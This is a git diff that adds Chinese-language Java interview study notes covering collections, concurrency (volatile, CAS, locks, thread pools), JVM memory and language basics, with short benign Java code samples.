+| 不同点 | hashMap 1.7 | hashMap 1.8 |
+| :-------------- | :----------------------------: | -----------------------------: |
+| 数据结构 | 数组+链表 | 数组+链表+红黑树 |
+| 插入数据的方式 | 头插法 | 尾插法 |
+| hash 值计算方式 | 9次扰动处理(4次位运算+5次异或) | 2次扰动处理(1次位运算+1次异或) |
+| 扩容策略 | 插入前扩容 | 插入后扩容 |
+
+## 9.hashMap 线程不安全体现在哪里?
+
+在 **hashMap1.7 中扩容**的时候,因为采用的是头插法,所以会可能会有循环链表产生,导致数据有问题,在 1.8 版本已修复,改为了尾插法
+
+在任意版本的 hashMap 中,如果在**插入数据时多个线程命中了同一个槽**,可能会有数据覆盖的情况发生,导致线程不安全。
+
+## 10.那么 hashMap 线程不安全怎么解决?
+
+
+
+- 一.给 hashMap **直接加锁**,来保证线程安全
+- 二.使用 **hashTable**,比方法一效率高,其实就是在其方法上加了 synchronized 锁
+- 三.使用 **concurrentHashMap** , 不管是其 1.7 还是 1.8 版本,本质都是**减小了锁的粒度,减少线程竞争**来保证高效.
+
+## 11.concurrentHashMap 1.7 和 1.8 有什么区别
+
+只记录**重点**
+
+| 不同点 | concurrentHashMap 1.7 | concurrentHashMap 1.8 |
+| :------- | :--------------------------: | ---------------------------------: |
+| 锁粒度 | 基于segment | 基于entry节点 |
+| 锁 | reentrantLock | synchronized |
+| 底层结构 | Segment + HashEntry + Unsafe | Synchronized + CAS + Node + Unsafe |
+
+## 12.介绍一下 hashset 吧
+
+
+
+上图是 set 家族整体的结构,
+
+set 继承于 Collection 接口,是一个**不允许出现重复元素,并且无序的集合**.
+
+HashSet 是**基于 HashMap 实现**的,底层**采用 HashMap 来保存元素**
+
+元素的哈希值是通过元素的 hashcode 方法 来获取的, HashSet 首先判断两个元素的哈希值,如果哈希值一样,接着会比较 equals 方法 如果 equls 结果为 true ,HashSet 就视为同一个元素。如果 equals 为 false 就不是同一个元素。
+
+## 13.什么是泛型?
+
+泛型:**把类型明确的工作推迟到创建对象或调用方法的时候才去明确的特殊的类型**
+
+## 14.泛型擦除是什么?
+
+因为泛型其实只是在编译器中实现的而虚拟机并不认识泛型类项,所以要在虚拟机中将泛型类型进行擦除。也就是说,**在编译阶段使用泛型,运行阶段取消泛型,即擦除**。 擦除是将泛型类型以其父类代替,如String 变成了Object等。其实在使用的时候还是进行带强制类型的转化,只不过这是比较安全的转换,因为在编译阶段已经确保了数据的一致性。
+
+## 15.说说进程和线程的区别?
+
+**进程是系统资源分配和调度的基本单位**,它能并发执行较高系统资源的利用率.
+
+**线程**是**比进程更小**的能独立运行的基本单位,创建、销毁、切换成本要小于进程,可以减少程序并发执行时的时间和空间开销,使得操作系统具有更好的并发性。
+
+## 16.volatile 有什么作用?
+
+
+
+- **1.保证内存可见性**
+ - 可见性是指线程之间的可见性,一个线程修改的状态对另一个线程是可见的。也就是一个线程修改的结果,另一个线程马上就能看到。
+- **2.禁止指令重排序**
+ - cpu 是和缓存做交互的,但是由于 cpu 运行效率太高,所以会不等待当前命令返回结果从而继续执行下一个命令,就会有乱序执行的情况发生
+
+## 17.什么是包装类?为什么需要包装类?
+
+**Java 中有 8 个基本类型,分别对应的 8 个包装类**
+
+- byte -- Byte
+- boolean -- Boolean
+- short -- Short
+- char -- Character
+- int -- Integer
+- long -- Long
+- float -- Float
+- double -- Double
+
+**为什么需要包装类**:
+
+- 基本数据类型方便、简单、高效,但泛型不支持、集合元素不支持
+- 不符合面向对象思维
+- 包装类提供很多方法,方便使用,如 Integer 类 toHexString(int i)、parseInt(String s) 方法等等
+
+## 18.Integer a = 1000,Integer b = 1000,a==b 的结果是什么?那如果 a,b 都为1,结果又是什么?
+
+Integer a = 1000,Integer b = 1000,a==b 结果为**false**
+
+Integer a = 1,Integer b = 1,a==b 结果为**true**
+
+这道题主要考察 Integer 包装类缓存的范围,**在-128~127之间会缓存起来**,比较的是直接缓存的数据,在此之外比较的是对象
+
+## 19.JMM 是什么?
+
+
+
+JMM 就是 **Java内存模型**(java memory model)。因为在不同的硬件生产商和不同的操作系统下,内存的访问有一定的差异,所以会造成相同的代码运行在不同的系统上会出现各种问题。所以java内存模型(JMM)**屏蔽掉各种硬件和操作系统的内存访问差异,以实现让java程序在各种平台下都能达到一致的并发效果**。
+
+Java内存模型规定所有的变量都存储在主内存中,包括实例变量,静态变量,但是不包括局部变量和方法参数。每个线程都有自己的工作内存,线程的工作内存保存了该线程用到的变量和主内存的副本拷贝,线程对变量的操作都在工作内存中进行。**线程不能直接读写主内存中的变量**。
+
+每个线程的工作内存都是独立的,**线程操作数据只能在工作内存中进行,然后刷回到主存**。这是 Java 内存模型定义的线程基本工作方式。
+
+
+## 20.创建对象有哪些方式
+
+有**五种创建对象的方式**
+
+- 1、new关键字
+
+```
+Person p1 = new Person();
+```
+
+- 2.Class.newInstance
+
+```
+Person p1 = Person.class.newInstance();
+```
+
+- 3.Constructor.newInstance
+
+```
+Constructor constructor = Person.class.getConstructor();
+Person p1 = constructor.newInstance();
+```
+
+- 4.clone
+
+```
+Person p1 = new Person();
+Person p2 = p1.clone();
+```
+
+- 5.反序列化
+
+```
+Person p1 = new Person();
+byte[] bytes = SerializationUtils.serialize(p1);
+Person p2 = (Person)SerializationUtils.deserialize(bytes);
+```
+
+## 21.讲讲单例模式懒汉式吧
+
+直接贴代码
+
+```
+// 懒汉式
+public class Singleton {
+// 延迟加载保证多线程安全
+ Private volatile static Singleton singleton;
+ private Singleton(){}
+ public static Singleton getInstance(){
+ if(singleton == null){
+ synchronized(Singleton.class){
+ if(singleton == null){
+ singleton = new Singleton();
+ }
+ }
+ }
+ return singleton;
+ }
+}
+```
+
+- 使用 volatile 是**防止指令重排序,保证对象可见**,防止读到半初始化状态的对象
+- 第一层if(singleton == null) 是为了防止有多个线程同时创建
+- synchronized 是加锁防止多个线程同时进入该方法创建对象
+- 第二层if(singleton == null) 是防止有多个线程同时等待锁,一个执行完了后面一个又继续执行的情况
+
+## 22.volatile 有什么作用
+
+
+
+- 1.**保证内存可见性**
+ - 当一个被volatile关键字修饰的变量被一个线程修改的时候,其他线程可以立刻得到修改之后的结果。当一个线程向被volatile关键字修饰的变量**写入数据**的时候,虚拟机会**强制它被值刷新到主内存中**。当一个线程**读取**被volatile关键字修饰的值的时候,虚拟机会**强制要求它从主内存中读取**。
+- 2.**禁止指令重排序**
+ - 指令重排序是编译器和处理器为了高效对程序进行优化的手段,cpu 是与内存交互的,而 cpu 的效率想比内存高很多,所以 cpu 会在不影响最终结果的情况下,不等待返回结果直接进行后续的指令操作,而 volatile 就是给相应代码加了**内存屏障**,在屏障内的代码禁止指令重排序。
+
+## 23.怎么保证线程安全?
+
+- 1.synchronized关键字
+ - 可以用于代码块,方法(静态方法,同步锁是当前字节码对象;实例方法,同步锁是实例对象)
+- 2.lock锁机制
+
+```
+Lock lock = new ReentrantLock();
+lock. lock();
+try {
+ System. out. println("获得锁");
+} catch (Exception e) {
+
+} finally {
+ System. out. println("释放锁");
+ lock. unlock();
+}
+```
+
+## 24.synchronized 锁升级的过程
+
+在 Java1.6 之前的版本中,synchronized 属于重量级锁,效率低下,**锁是** cpu 一个**总量级的资源**,每次获取锁都要和 cpu 申请,非常消耗性能。
+
+在 **jdk1.6 之后** Java 官方对从 JVM 层面对 synchronized 较大优化,所以现在的 synchronized 锁效率也优化得很不错了,Jdk1.6 之后,为了减少获得锁和释放锁所带来的性能消耗,引入了偏向锁和轻量级锁,**增加了锁升级的过程**,由无锁->偏向锁->自旋锁->重量级锁
+
+
+增加锁升级的过程主要是**减少用户态到核心态的切换,提高锁的效率,从 jvm 层面优化锁**
+
+## 25.cas 是什么?
+
+cas 叫做 CompareAndSwap,**比较并交换**,很多地方使用到了它,比如锁升级中自旋锁就有用到,主要是**通过处理器的指令来保证操作的原子性**,它主要包含三个变量:
+
+- **1.变量内存地址**
+- **2.旧的预期值 A**
+- **3.准备设置的新值 B**
+
+当一个线程需要修改一个共享变量的值,完成这个操作需要先取出共享变量的值,赋给 A,基于 A 进行计算,得到新值 B,在用预期原值 A 和内存中的共享变量值进行比较,**如果相同就认为其他线程没有进行修改**,而将新值写入内存
+
+
+
+**CAS的缺点**
+
+- **CPU开销比较大**:在并发量比较高的情况下,如果许多线程反复尝试更新某一个变量,却又一直更新不成功,又因为自旋的时候会一直占用CPU,如果CAS一直更新不成功就会一直占用,造成CPU的浪费。
+
+- **ABA 问题**:比如线程 A 去修改 1 这个值,修改成功了,但是中间 线程 B 也修改了这个值,但是修改后的结果还是 1,所以不影响 A 的操作,这就会有问题。可以用**版本号**来解决这个问题。
+
+- **只能保证一个共享变量的原子性**
+
+## 26.聊聊 ReentrantLock 吧
+
+ReentrantLock 意为**可重入锁**,说起 ReentrantLock 就不得不说 AQS ,因为其底层就是**使用 AQS 去实现**的。
+
+ReentrantLock有两种模式,一种是公平锁,一种是非公平锁。
+
+- 公平模式下等待线程入队列后会严格按照队列顺序去执行
+- 非公平模式下等待线程入队列后有可能会出现插队情况
+
+**公平锁**
+
+
+
+- 第一步:**获取状态的 state 的值**
+ - 如果 state=0 即代表锁没有被其它线程占用,执行第二步。
+ - 如果 state!=0 则代表锁正在被其它线程占用,执行第三步。
+- 第二步:**判断队列中是否有线程在排队等待**
+ - 如果不存在则直接将锁的所有者设置成当前线程,且更新状态 state 。
+ - 如果存在就入队。
+- 第三步:**判断锁的所有者是不是当前线程**
+ - 如果是则更新状态 state 的值。
+ - 如果不是,线程进入队列排队等待。
+
+**非公平锁**
+
+
+
+- 获取状态的 state 的值
+ - 如果 state=0 即代表锁没有被其它线程占用,则设置当前锁的持有者为当前线程,该操作用 CAS 完成。
+ - 如果不为0或者设置失败,代表锁被占用进行下一步。
+- 此时**获取 state 的值**
+ - 如果是,则给state+1,获取锁
+ - 如果不是,则进入队列等待
+ - 如果是0,代表刚好线程释放了锁,此时将锁的持有者设为自己
+ - 如果不是0,则查看线程持有者是不是自己
+
+## 27.多线程的创建方式有哪些?
+
+- 1、**继承Thread类**,重写run()方法
+
+```
+public class Demo extends Thread{
+ //重写父类Thread的run()
+ public void run() {
+ }
+ public static void main(String[] args) {
+ Demo d1 = new Demo();
+ Demo d2 = new Demo();
+ d1.start();
+ d2.start();
+ }
+}
+```
+
+- 2.**实现Runnable接口**,重写run()
+
+```
+public class Demo2 implements Runnable{
+
+ //重写Runnable接口的run()
+ public void run() {
+ }
+
+ public static void main(String[] args) {
+ Thread t1 = new Thread(new Demo2());
+ Thread t2 = new Thread(new Demo2());
+ t1.start();
+ t2.start();
+ }
+
+}
+```
+
+- 3.**实现 Callable 接口**
+
+```
+public class Demo implements Callable{
+
+ public String call() throws Exception {
+ System.out.println("正在执行新建线程任务");
+ Thread.sleep(2000);
+ return "结果";
+ }
+
+ public static void main(String[] args) throws InterruptedException, ExecutionException {
+ Demo d = new Demo();
+ FutureTask task = new FutureTask<>(d);
+ Thread t = new Thread(task);
+ t.start();
+ //获取任务执行后返回的结果
+ String result = task.get();
+ }
+
+}
+```
+
+- 4.**使用线程池创建**
+
+```
+public class Demo {
+ public static void main(String[] args) {
+ Executor threadPool = Executors.newFixedThreadPool(5);
+ for(int i = 0 ;i < 10 ; i++) {
+ threadPool.execute(new Runnable() {
+ public void run() {
+ //todo
+ }
+ });
+ }
+
+ }
+}
+```
+
+## 28.线程池有哪些参数?
+
+- **1.corePoolSize**:**核心线程数**,线程池中始终存活的线程数。
+- **2.maximumPoolSize**: **最大线程数**,线程池中允许的最大线程数。
+- **3.keepAliveTime**: **存活时间**,线程没有任务执行时最多保持多久时间会终止。
+
+- **4.unit**: **单位**,参数keepAliveTime的时间单位,7种可选。
+- **5.workQueue**: 一个**阻塞队列**,用来存储等待执行的任务,均为线程安全,7种可选。
+- **6.threadFactory**: **线程工厂**,主要用来创建线程,默及正常优先级、非守护线程。
+
+- **7.handler**:**拒绝策略**,拒绝处理任务时的策略,4种可选,默认为AbortPolicy。
+
+## 29.线程池的执行流程?
+
+
+
+- 判断线程池中的线程数**是否大于设置的核心线程数**
+ - 如果**小于**,就**创建**一个核心线程来执行任务
+ - 如果**大于**,就会**判断缓冲队列是否满了**
+ - 如果**没有满**,则**放入队列**,等待线程空闲时执行任务
+ - 如果队列已经**满了**,则判断**是否达到了线程池设置的最大线程数**
+ - 如果**没有达到**,就**创建新线程**来执行任务
+ - 如果已经**达到了**最大线程数,则**执行指定的拒绝策略**
+
+## 30.线程池的拒绝策略有哪些?
+
+- **AbortPolicy**:直接丢弃任务,抛出异常,这是默认策略
+- **CallerRunsPolicy**:只用调用者所在的线程来处理任务
+- **DiscardOldestPolicy**:丢弃等待队列中最旧的任务,并执行当前任务
+- **DiscardPolicy**:直接丢弃任务,也不抛出异常
+
+## 31.介绍一下四种引用类型?
+
+- **强引用 StrongReference**
+
+```
+Object obj = new Object();
+//只要obj还指向Object对象,Object对象就不会被回收
+```
+
+垃圾回收器不会回收被引用的对象,哪怕内存不足时,JVM 也会直接抛出 OutOfMemoryError,除非赋值为 null。
+
+- **软引用 SoftReference**
+
+软引用是用来描述一些非必需但仍有用的对象。在内存足够的时候,软引用对象不会被回收,只有在内存不足时,系统则会回收软引用对象,如果回收了软引用对象之后仍然没有足够的内存,才会抛出内存溢出异常。
+
+- **弱引用 WeakReference**
+
+弱引用的引用强度比软引用要更弱一些,无论内存是否足够,只要 JVM 开始进行垃圾回收,那些被弱引用关联的对象都会被回收。
+
+- **虚引用 PhantomReference**
+
+虚引用是最弱的一种引用关系,如果一个对象仅持有虚引用,那么它就和没有任何引用一样,它随时可能会被回收,在 JDK1.2 之后,用 PhantomReference 类来表示,通过查看这个类的源码,发现它只有一个构造函数和一个 get() 方法,而且它的 get() 方法仅仅是返回一个null,也就是说将永远无法通过虚引用来获取对象,虚引用必须要和 ReferenceQueue 引用队列一起使用,NIO 的堆外内存就是靠其管理。
+
+## 32.深拷贝、浅拷贝是什么?
+
+- 浅拷贝并不是真的拷贝,只是**复制指向某个对象的指针**,而不复制对象本身,新旧对象还是共享同一块内存。
+- 深拷贝会另外**创造一个一模一样的对象**,新对象跟原对象不共享内存,修改新对象不会改到原对象。
+
+## 33.聊聊 ThreadLocal 吧
+
+- ThreadLocal其实就是**线程本地变量**,他会在每个线程都创建一个副本,那么在线程之间访问内部副本变量就行了,做到了线程之间互相隔离。
+
+- ThreadLocal 有一个**静态内部类 ThreadLocalMap**,ThreadLocalMap 又包含了一个 Entry 数组,**Entry 本身是一个弱引用**,他的 key 是指向 ThreadLocal 的弱引用,**弱引用的目的是为了防止内存泄露**,如果是强引用那么除非线程结束,否则无法终止,可能会有内存泄漏的风险。
+- 但是这样还是会存在内存泄露的问题,假如 key 和 ThreadLocal 对象被回收之后,entry 中就存在 key 为 null ,但是 value 有值的 entry 对象,但是永远没办法被访问到,同样除非线程结束运行。**解决方法就是调用 remove 方法删除 entry 对象**。
+
+## 34.一个对象的内存布局是怎么样的?
+
+
+
+- **1.对象头**:
+ 对象头又分为 **MarkWord** 和 **Class Pointer** 两部分。
+ - **MarkWord**:包含一系列的标记位,比如轻量级锁的标记位,偏向锁标记位,gc记录信息等等。
+ - **ClassPointer**:用来指向对象对应的 Class 对象(其对应的元数据对象)的内存地址。在 32 位系统占 4 字节,在 64 位系统中占 8 字节。
+- **2.Length**:只在数组对象中存在,用来记录数组的长度,占用 4 字节
+- **3.Instance data**:
+ 对象实际数据,对象实际数据包括了对象的所有成员变量,其大小由各个成员变量的大小决定。(这里不包括静态成员变量,因为其是在方法区维护的)
+- **4.Padding**:Java 对象占用空间是 8 字节对齐的,即所有 Java 对象占用 bytes 数必须是 8 的倍数,是因为当我们从磁盘中取一个数据时,不会说我想取一个字节就是一个字节,都是按照一块儿一块儿来取的,这一块大小是 8 个字节,所以为了完整,padding 的作用就是补充字节,**保证对象是 8 字节的整数倍**。
+
+---
diff --git a/docs/baguwen/java-basic.md b/docs/baguwen/java-basic.md
new file mode 100644
index 0000000000..fe14e2288e
--- /dev/null
+++ b/docs/baguwen/java-basic.md
@@ -0,0 +1,391 @@
+### Java 语言具有哪些特点?
+
+- Java 为纯面向对象的语言。它能够直接反应现实生活中的对象。
+- 具有平台无关性。Java 利用 Java 虚拟机运行字节码,无论是在 Windows、Linux 还是 MacOS 等其它平台对 Java 程序进行编译,编译后的程序可在其它平台运行。
+- Java 为解释型语言,编译器把 Java 代码编译成平台无关的中间代码,然后在 JVM 上解释运行,具有很好的可移植性。
+- Java 提供了很多内置类库。如对多线程支持,对网络通信支持,最重要的一点是提供了垃圾回收器。
+- Java 具有较好的安全性和健壮性。Java 提供了异常处理和垃圾回收机制,去除了 C++中难以理解的指针特性。
+
+### JDK 与 JRE 有什么区别?
+
+- JDK:Java 开发工具包(Java Development Kit),提供了 Java 的开发环境和运行环境。
+- JRE:Java 运行环境(Java Runtime Environment),提供了 Java 运行所需的环境。
+- JDK 包含了 JRE。如果只运行 Java 程序,安装 JRE 即可。要编写 Java 程序需安装 JDK.
+
+### 简述 Java 基本数据类型
+
+- byte: 占用 1 个字节,取值范围-128 ~ 127
+- short: 占用 2 个字节,取值范围-2^15^ ~ 2^15^-1
+- int:占用 4 个字节,取值范围-2^31^ ~ 2^31^-1
+- long:占用 8 个字节
+- float:占用 4 个字节
+- double:占用 8 个字节
+- char: 占用 2 个字节
+- boolean:占用大小根据实现虚拟机不同有所差异
+
+
+
+### 简述自动装箱拆箱
+
+对于 Java 基本数据类型,均对应一个包装类。
+
+装箱就是自动将基本数据类型转换为包装器类型,如 int->Integer
+
+拆箱就是自动将包装器类型转换为基本数据类型,如 Integer->int
+
+
+
+
+
+### 简述 Java 访问修饰符
+
+- default: 默认访问修饰符,在同一包内可见
+- private: 在同一类内可见,不能修饰类
+- protected : 对同一包内的类和所有子类可见,不能修饰类
+- public: 对所有类可见
+
+### 构造方法、成员变量初始化以及静态成员变量三者的初始化顺序?
+
+先后顺序:静态成员变量、成员变量、构造方法。
+
+详细的先后顺序:父类静态变量、父类静态代码块、子类静态变量、子类静态代码块、父类非静态变量、父类非静态代码块、父类构造函数、子类非静态变量、子类非静态代码块、子类构造函数。
+
+### Java 代码块执行顺序
+
+- 父类静态代码块(只执行一次)
+- 子类静态代码块(只执行一次)
+- 父类构造代码块
+- 父类构造函数
+- 子类构造代码块
+- 子类构造函数
+- 普通代码块
+
+
+
+### 面向对象的三大特性?
+
+继承:对象的一个新类可以从现有的类中派生,派生类可以从它的基类那继承方法和实例变量,且派生类可以修改或新增新的方法使之更适合特殊的需求。
+
+封装:将客观事物抽象成类,每个类可以把自身数据和方法只让可信的类或对象操作,对不可信的进行信息隐藏。
+
+多态:允许不同类的对象对同一消息作出响应。不同对象调用相同方法即使参数也相同,最终表现行为是不一样的。
+
+### 为什么 Java 语言不支持多重继承?
+
+为了程序的结构能够更加清晰从而便于维护。假设 Java 语言支持多重继承,类 C 继承自类 A 和类 B,如果类 A 和 B 都有自定义的成员方法 `f()`,那么当代码中调用类 C 的 `f()` 会产生二义性。
+
+Java 语言通过实现多个接口间接支持多重继承,接口由于只包含方法定义,不能有方法的实现,类 C 继承接口 A 与接口 B 时即使它们都有方法`f()`,也不能直接调用方法,需实现具体的`f()`方法才能调用,不会产生二义性。
+
+多重继承会使类型转换、构造方法的调用顺序变得复杂,会影响到性能。
+
+### 简述 Java 的多态
+
+Java 多态可以分为编译时多态和运行时多态。
+
+编译时多态主要指方法的重载,即通过参数列表的不同来区分不同的方法。
+
+运行时多态主要指继承父类和实现接口时,可使用父类引用指向子类对象。
+
+运行时多态的实现:主要依靠方法表,方法表中最先存放的是 Object 类的方法,接下来是该类的父类的方法,最后是该类本身的方法。如果子类改写了父类的方法,那么子类和父类的那些同名方法共享一个方法表项,都被认作是父类的方法。因此可以实现运行时多态。
+
+### Java 提供的多态机制?
+
+Java 提供了两种用于多态的机制,分别是重载与覆盖。
+
+重载:重载是指同一个类中有多个同名的方法,但这些方法有不同的参数,在编译期间就可以确定调用哪个方法。
+
+覆盖:覆盖是指派生类重写基类的方法,使用基类指向其子类的实例对象,或接口的引用变量指向其实现类的实例对象,在程序调用的运行期根据引用变量所指的具体实例对象调用正在运行的那个对象的方法,即需要到运行期才能确定调用哪个方法。
+
+### 重载与覆盖的区别?
+
+- 覆盖是父类与子类之间的关系,是垂直关系;重载是同一类中方法之间的关系,是水平关系。
+- 覆盖只能由一个方法或一对方法产生关系;重载是多个方法之间的关系。
+- 覆盖要求参数列表相同;重载要求参数列表不同。
+- 覆盖中,调用方法体是根据对象的类型来决定的,而重载是根据调用时实参表与形参表来对应选择方法体。
+- 重载方法可以改变返回值的类型,覆盖方法不能改变返回值的类型。
+
+### 接口和抽象类的相同点和不同点?
+
+相同点:
+
+- 都不能被实例化。
+- 接口的实现类或抽象类的子类需实现接口或抽象类中相应的方法才能被实例化。
+
+不同点:
+
+- 接口只能有方法定义,不能有方法的实现,而抽象类可以有方法的定义与实现。
+
+- 实现接口的关键字为 implements,继承抽象类的关键字为 extends。一个类可以实现多个接口,只能继承一个抽象类。
+
+- 当子类和父类之间存在逻辑上的层次结构,推荐使用抽象类,有利于功能的累积。当功能不需要,希望支持差别较大的两个或更多对象间的特定交互行为,推荐使用接口。使用接口能降低软件系统的耦合度,便于日后维护或添加删除方法。
+
+### 简述抽象类与接口的区别
+
+抽象类:体现的是 is-a 的关系,如对于 man is a person,就可以将 person 定义为抽象类。
+
+接口:体现的是 can 的关系。是作为模板实现的。如设置接口 fly,plane 类和 bird 类均可实现该接口。
+
+一个类只能继承一个抽象类,但可以实现多个接口。
+
+### 简述内部类及其作用
+
+- 成员内部类:作为成员对象的内部类。可以访问 private 及以上外部类的属性和方法。外部类想要访问内部类属性或方法时,必须要创建一个内部类对象,然后通过该对象访问内部类的属性或方法。外部类也可访问 private 修饰的内部类属性。
+- 局部内部类:存在于方法中的内部类。访问权限类似局部变量,只能访问外部类的 final 变量。
+- 匿名内部类:只能使用一次,没有类名,只能访问外部类的 final 变量。
+- 静态内部类:类似类的静态成员变量。
+
+
+
+
+### Java 语言中关键字 static 的作用是什么?
+ static 的主要作用有两个:
+
+- 为某种特定数据类型或对象分配与创建对象个数无关的单一的存储空间。
+- 使得某个方法或属性与类而不是对象关联在一起,即在不创建对象的情况下可通过类直接调用方法或使用类的属性。
+
+具体而言 static 又可分为 4 种使用方式:
+
+- 修饰成员变量。用 static 关键字修饰的静态变量在内存中只有一个副本。只要静态变量所在的类被加载,这个静态变量就会被分配空间,可以使用“类.静态变量”和“对象.静态变量”的方法使用。
+- 修饰成员方法。static 修饰的方法无需创建对象就可以被调用。static 方法中不能使用 this 和 super 关键字,不能调用非 static 方法,只能访问所属类的静态成员变量和静态成员方法。
+- 修饰代码块。JVM 在加载类的时候会执行 static 代码块。static 代码块常用于初始化静态变量。static 代码块只会被执行一次。
+- 修饰内部类。static 内部类可以不依赖外部类实例对象而被实例化。静态内部类不能与外部类有相同的名字,不能访问普通成员变量,只能访问外部类中的静态成员和静态成员方法。
+
+
+
+
+
+### 为什么要把 String 设计为不可变?
+
+- 节省空间:字符串常量存储在 JVM 的字符串池中可以被用户共享。
+- 提高效率:String 可以被不同线程共享,是线程安全的。在涉及多线程操作中不需要同步操作。
+- 安全:String 常被用于用户名、密码、文件名等使用,由于其不可变,可避免黑客行为对其恶意修改。
+
+### 简述 String/StringBuffer 与 StringBuilder
+
+String 类采用利用 final 修饰的字符数组进行字符串保存,因此不可变。如果对 String 类型对象修改,需要新建对象,将老字符和新增加的字符一并存进去。
+
+StringBuilder,采用无 final 修饰的字符数组进行保存,因此可变。但线程不安全。
+
+StringBuffer,采用无 final 修饰的字符数组进行保存,可理解为实现线程安全的 StringBuilder。
+
+### 判等运算符==与 equals 的区别?
+
+== 比较的是引用,equals 比较的是内容。
+
+如果变量是基础数据类型,== 用于比较其对应值是否相等。如果变量指向的是对象,== 用于比较两个对象是否指向同一块存储空间。
+
+equals 是 Object 类提供的方法之一,每个 Java 类都继承自 Object 类,所以每个对象都具有 equals 这个方法。Object 类中定义的 equals 方法内部是直接调用 == 比较对象的。但通过覆盖的方法可以让它不是比较引用而是比较数据内容。
+
+### 简述 Object 类常用方法
+
+- hashCode:通过对象计算出的散列码。用于 map 型或 equals 方法。需要保证同一个对象多次调用该方法,总返回相同的整型值。
+- equals:判断两个对象是否一致。需保证 equals 方法相同对应的对象 hashCode 也相同。
+- toString: 用字符串表示该对象
+- clone:深拷贝一个对象
+
+### Java 中一维数组和二维数组的声明方式?
+
+一维数组的声明方式:
+
+```java
+type arrayName[]
+type[] arrayName
+```
+
+二维数组的声明方式:
+
+```java
+type arrayName[][]
+type[][] arrayName
+type[] arrayName[]
+```
+
+其中 type 为基本数据类型或类,arrayName 为数组名字
+
+### 简述 Java 异常的分类
+
+Java 异常分为 Error(程序无法处理的错误),和 Exception(程序本身可以处理的异常)。这两个类均继承 Throwable。
+
+Error 常见的有 StackOverFlowError、OutOfMemoryError 等等。
+
+Exception 可分为运行时异常和非运行时异常。对于运行时异常,可以利用 try catch 的方式进行处理,也可以不处理。对于非运行时异常,必须处理,不处理的话程序无法通过编译。
+
+### 简述 throw 与 throws 的区别
+
+throw 一般是用在方法体的内部,由开发者定义当程序语句出现问题后主动抛出一个异常。
+
+throws 一般用于方法声明上,代表该方法可能会抛出的异常列表。
+
+### 出现在 Java 程序中的 finally 代码块是否一定会执行?
+
+当遇到下面情况不会执行。
+
+- 当程序在进入 try 语句块之前就出现异常时会直接结束。
+- 当程序在 try 块中强制退出时,如使用 System.exit(0),也不会执行 finally 块中的代码。
+
+其它情况下,在 try/catch/finally 语句执行的时候,try 块先执行,当有异常发生,catch 和 finally 进行处理后程序就结束了,当没有异常发生,在执行完 finally 中的代码后,后面代码会继续执行。值得注意的是,当 try/catch 语句块中有 return 时,finally 语句块中的代码会在 return 之前执行。如果 try/catch/finally 块中都有 return 语句,finally 块中的 return 语句会覆盖 try/catch 模块中的 return 语句。
+
+### final、finally 和 finalize 的区别是什么?
+
+- final 用于声明属性、方法和类,分别表示属性不可变、方法不可覆盖、类不可继承。
+- finally 作为异常处理的一部分,只能在 try/catch 语句中使用,finally 附带一个语句块用来表示这个语句最终一定被执行,经常被用在需要释放资源的情况下。
+- finalize 是 Object 类的一个方法,在垃圾收集器执行的时候会调用被回收对象的 finalize()方法。当垃圾回收器准备好释放对象占用空间时,首先会调用 finalize()方法,并在下一次垃圾回收动作发生时真正回收对象占用的内存。
+
+### 简述泛型
+
+泛型,即“参数化类型”,解决不确定对象具体类型的问题。在编译阶段有效。在泛型使用过程中,操作的数据类型被指定为一个参数,这种参数类型在类中称为泛型类、接口中称为泛型接口和方法中称为泛型方法。
+
+### 简述泛型擦除
+
+Java 编译器生成的字节码是不包涵泛型信息的,泛型类型信息将在编译处理是被擦除,这个过程被称为泛型擦除。
+
+### 简述注解
+
+Java 注解用于为 Java 代码提供元数据。作为元数据,注解不直接影响你的代码执行,但也有一些类型的注解实际上可以用于这一目的。
+
+其可以用于提供信息给编译器,在编译阶段时给软件提供信息进行相关的处理,在运行时处理写相应代码,做对应操作。
+
+### 简述元注解
+
+元注解可以理解为注解的注解,即在注解中使用,实现想要的功能。其具体分为:
+
+- @Retention: 表示注解存在阶段是保留在源码,还是在字节码(类加载)或者运行期(JVM 中运行)。
+- @Target:表示注解作用的范围。
+- @Documented:将注解中的元素包含到 Javadoc 中去。
+- @Inherited:一个被@Inherited 注解了的注解修饰了一个父类,如果他的子类没有被其他注解修饰,则它的子类也继承了父类的注解。
+- @Repeatable:被这个元注解修饰的注解可以同时作用一个对象多次,但是每次作用注解又可以代表不同的含义。
+
+
+
+
+### 简述 Java 中 Class 对象
+
+java 中对象可以分为实例对象和 Class 对象,每一个类都有一个 Class 对象,其包含了与该类有关的信息。
+
+获取 Class 对象的方法:
+
+```java
+Class.forName(“类的全限定名”)
+实例对象.getClass()
+类名.class
+```
+
+### Java 反射机制是什么?
+
+Java 反射机制是指在程序的运行过程中可以构造任意一个类的对象、获取任意一个类的成员变量和成员方法、获取任意一个对象所属的类信息、调用任意一个对象的属性和方法。反射机制使得 Java 具有动态获取程序信息和动态调用对象方法的能力。可以通过以下类调用反射 API。
+
+- Class 类:可获得类属性方法
+- Field 类:获得类的成员变量
+- Method 类:获取类的方法信息
+- Construct 类:获取类的构造方法等信息
+
+
+
+
+
+
+
+
+
+
+### 序列化是什么?
+
+序列化是一种将对象转换成字节序列的过程,用于解决在对对象流进行读写操作时所引发的问题。序列化可以将对象的状态写在流里进行网络传输,或者保存到文件、数据库等系统里,并在需要的时候把该流读取出来重新构造成一个相同的对象。
+
+
+### 简述 Java 序列化与反序列化的实现
+
+序列化:将 java 对象转化为字节序列,由此可以通过网络对象进行传输。
+
+反序列化:将字节序列转化为 java 对象。
+
+具体实现:实现 Serializable 接口,或实现 Externalizable 接口中的 writeExternal()与 readExternal()方法。
+
+### 简述 Java 的 List
+
+List 是一个有序队列,在 Java 中有两种实现方式:
+
+ArrayList 使用数组实现,是容量可变的非线程安全列表,随机访问快,集合扩容时会创建更大的数组,把原有数组复制到新数组。
+
+LinkedList 本质是双向链表,与 ArrayList 相比插入和删除速度更快,但随机访问元素很慢。
+
+### Java 中线程安全的基本数据结构有哪些
+
+- HashTable: 哈希表的线程安全版,效率低
+- ConcurrentHashMap:哈希表的线程安全版,效率高,用于替代 HashTable
+- Vector:线程安全版 Arraylist
+- Stack:线程安全版栈
+- BlockingQueue 及其子类:线程安全版队列
+
+### 简述 Java 的 Set
+
+Set 即集合,该数据结构不允许元素重复且无序。Java 对 Set 有三种实现方式:
+
+HashSet 通过 HashMap 实现,HashMap 的 Key 即 HashSet 存储的元素,Value 系统自定义一个名为 PRESENT 的 Object 类型常量。判断元素是否相同时,先比较 hashCode,相同后再利用 equals 比较,查询 O(1)
+
